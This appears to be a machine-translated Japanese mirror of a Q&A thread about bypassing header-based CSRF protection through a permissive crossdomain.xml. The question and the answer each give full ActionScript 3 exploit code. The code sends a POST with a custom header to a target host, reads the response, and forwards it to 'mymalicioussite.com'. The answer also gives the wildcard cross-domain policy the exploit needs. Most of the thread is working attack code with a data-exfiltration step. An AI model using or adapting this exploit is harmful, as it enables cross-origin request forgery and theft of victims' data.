web-dev-qa-db-ja.com

弱いCrossDomain.xmlを介したActionScriptを使用したCSRFバイパス

CrossDomain.xmlの弱いターゲットがありますが、カスタムHTTPヘッダーの1つを参照するCSRF攻撃を防ぎます。いくつかのWebサイトで次のアクションスクリプトを見つけましたが、ヘッダーが設定されていないことを除いて完全に機能します。

このアクションスクリプトはPOSTリクエストを 'Target.htm'に送信し、カスタムヘッダーを設定するために必要です。たとえば、Test-Header：

package {
    import flash.display.Sprite;
    import flash.events.*;
    import flash.net.URLRequestMethod;
    import flash.net.URLRequest;
    import flash.net.URLLoader;
    import flash.net.URLVariables;
    import flash.net.URLRequestHeader;

    public class FlashTest extends Sprite {

        public function FlashTest() {
            // write as3 code here..
            //Target URL           
            var header:URLRequestHeader = new URLRequestHeader("Test-Header", "Test123");
            var readFrom:String = "http://192.168.100.4/Target.htm";
            var readRequest:URLRequest = new URLRequest(readFrom);
            readRequest.data  = "ThisDoesNotMatter"
            readRequest.method = URLRequestMethod.POST
            readRequest.requestHeaders.Push(header);
            var getLoader:URLLoader = new URLLoader();
            getLoader.addEventListener(Event.COMPLETE, eventHandler);
            try
            {
                getLoader.load(readRequest);
            }
            catch(error:Error)
            {

            }
        }

        private function eventHandler(event:Event):void
        {
            var sendTO:String = "http://mymalicioussite.com";
            var sendRequest:URLRequest = new URLRequest(sendTO);
            sendRequest.method = URLRequestMethod.POST;
            sendRequest.data = event.target.data;
            var sendLoader:URLLoader = new URLLoader();
            try
            {
                sendLoader.load(sendRequest);
            }
            catch(error:Error)
            {

            }
          }
        }
      }

ターゲット上のCrossDomain.XML：

    <?xml version="1.0"?>

<!DOCTYPE cross-domain-policy SYSTEM "http://www.Adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
   <allow-access-from domain="*" secure="true" />
</cross-domain-policy>

任意の助けいただければ幸いです。 POSTの代わりにGETリクエストを使用するコードは、ターゲットがGETとPOSTの両方のリクエストを受け入れるため、機能します。私の知る限り、カスタムヘッダーの設定はPOSTリクエストでのみ許可されますが、標準のHTTPヘッダーを含むGETリクエストは少なくとも今のところ私にとっては機能します。

csrfflashcrossdomain.xml
4
shellcode

いくつかのテストを実行した後、上記のスクリプトを変更して、カスタムヘッダーを設定できました（ブラウザーで許可されていないRefererヘッダーとUser-Agentヘッダーを除く）。

また、これは、ターゲットと攻撃マシンに次のcrossdomain.xmlが必要な場合にのみ機能します。

<?xml version="1.0"?>

<!DOCTYPE cross-domain-policy SYSTEM "http://www.Adobe.com/xml/dtds/cross-
domain-policy.dtd">
<cross-domain-policy>
 <allow-access-from domain="*" secure="false"  />
 <allow-http-request-headers-from domain="*" headers="*" secure="false"/>
</cross-domain-policy>

そして、これが私のために働いたAS3スクリプトです：

package {
import flash.display.Sprite;
import flash.events.*;
import flash.net.URLRequestMethod;
import flash.net.URLRequest;
import flash.net.URLLoader;
import flash.net.URLVariables;
import flash.net.URLRequestHeader;

public class FlashTest extends Sprite {

    public function FlashTest() {
        // write as3 code here..

        //Set Header
        var headers:Array = [new URLRequestHeader("TestHeader", "Test123")];

        //Target URL           
        var readFrom:String = "http://192.168.253.133/Target.htm";
        var readRequest:URLRequest = new URLRequest(readFrom);
        readRequest.requestHeaders = headers;
        readRequest.data  = "ThisDoesNotMatter" //POST data
        readRequest.method = URLRequestMethod.POST
        //readRequest.requestHeaders.Push();
        var getLoader:URLLoader = new URLLoader();
        getLoader.addEventListener(Event.COMPLETE, eventHandler);
        try
        {
            getLoader.load(readRequest);
        }
        catch(error:Error)
        {

        }
    }

    private function eventHandler(event:Event):void
    {
        var sendTO:String = "http://mymalicioussite.com";
        var sendRequest:URLRequest = new URLRequest(sendTO);
        sendRequest.method = URLRequestMethod.POST;
        sendRequest.data = event.target.data;
        var sendLoader:URLLoader = new URLLoader();
        try
        {
            sendLoader.load(sendRequest);
        }
        catch(error:Error)
        {

        }
      }
    }
}//package
1
shellcode